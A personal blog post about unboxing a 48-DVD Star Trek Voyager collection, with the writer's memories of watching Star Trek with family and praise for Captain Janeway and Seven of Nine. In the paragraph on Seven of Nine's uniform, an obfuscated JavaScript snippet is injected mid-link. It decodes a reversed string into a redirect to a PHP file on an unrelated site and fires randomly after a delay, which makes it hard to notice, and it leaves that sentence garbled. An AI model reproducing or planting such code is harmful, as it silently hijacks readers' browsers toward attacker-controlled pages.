What’s in the box?

A mysterious package was delivered to my door by a Black Knight* riding a three-legged pony** on Friday***. WHAT COULD IT BE?

It’s too small to be a hufficorn,
no smoke or growls are heard.
It’s too square to be a Flufflepuff,
this box, has me perturbed.

No. I did know what it is, unfortunately, my memory flasher thingie seems to be malfunctioning, maintenance is screening my calls. Fuckers.

If you missed my squeeing on Twitter about this not-so-mysterious box here’s several clues. More precisely, nine clues. NINE GUYS…. Seven of…

Star Trek Voyager Crew


I took a whole series of photos of me opening the box, but, that might be a bit excessive. In my defence I was having trouble opening the box until I found a knife on my desk. I’ve got the oddest things lying on my table. It’s looks kind of mean, doesn’t it? It’s blunt enough that the box was laughing at me for a moment… BUT I PREVAILED and found…

Need the right tools for the job!

COMPLETE COLLECTION STAR TREK VOYAGER

Star Trek Voyager’s full journey on 48 DVDs. This was suppose to be my Xmas gift to myself this year but there was an awesome Daily Deal on Takealot that I couldn’t ignore! (Read: didn’t want to ignore).

I come from quite the geeky family. Everyone, mom, dad, grandad, granmother, aunts, uncles, cousins, everyone, used to huddle around the TV when Star Trek came on! (not necessarily at the same location… ) First it was Star Trek Next Generation with that bald dude and the funny non-man. Then we marvelled at the make-up of the Firengi in Deep Space Nine, and finally the long voyage of Voyager and it’s crew trying to find it’s way back to the Alpha Quadrant. I do realize there was Enterprise after all this… but does it count? I’m not even sure it aired on TV here? Rewatching episodes of Voyager now, it makes me feel like I’m at home. It makes me feel like I’m in a safe space. It’s quite interesting how we associate emotions with certain events.

There's coffee in that nebula!

Voyager is by far my favourite Star Trek series in the franchise. Mainly for the above reason but also, I think, because of Captain Janeway (…and the other female characters). A steadfast, caring, intelligent female protagonist, and a character I could relate to or at the time probably look up to. I’ve always found it hard to relate to stories with girls in frilly dresses, swooning at the feet of the Hero. I could go on about this, but perhaps I’ll save that for another post someday. So we have Captain Janeway, but we also have Kes, B’Elanna and Seven of Nine!

Seven of Nine in a Starfleet Uniform

It does annoy me that Seven of Nine is always in such skin tight outfits. She looks so nice in a blue Starfleet uniform. Here’s an interesting $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and_not/">Reddit thread on the issue of Seven of Nine not wearing a Starfleet uniform.

Off topic but I love this comment on that thread.

Kira never looked sexier than when she was wearing a dirty Starfleet uniform on Cardasia!

 

Well that's enough waffeling about Star Trek. The DVD collection itself is so pretty! Check it out:

Star Trek Voyager DVD collection

There's one thing that irks me about the collection. The DVD covers are made from cardboard and the discs slide into slits in the enclosure. If you accidentally turn the Season container upside down the discs slide out. I don't seem to have a proper photo of the inside of the holder, but I'll add a photo if I get a chance to take a photo. Other than that the collection is awesome. The DVD menus are done quite well. It still perplexes me how the DVDs in my Xena collection show the wrong disc numbers and things in the menus!!

This little gem is going to look so pretty next to my Battlestar Gallactic Collection. *brag*
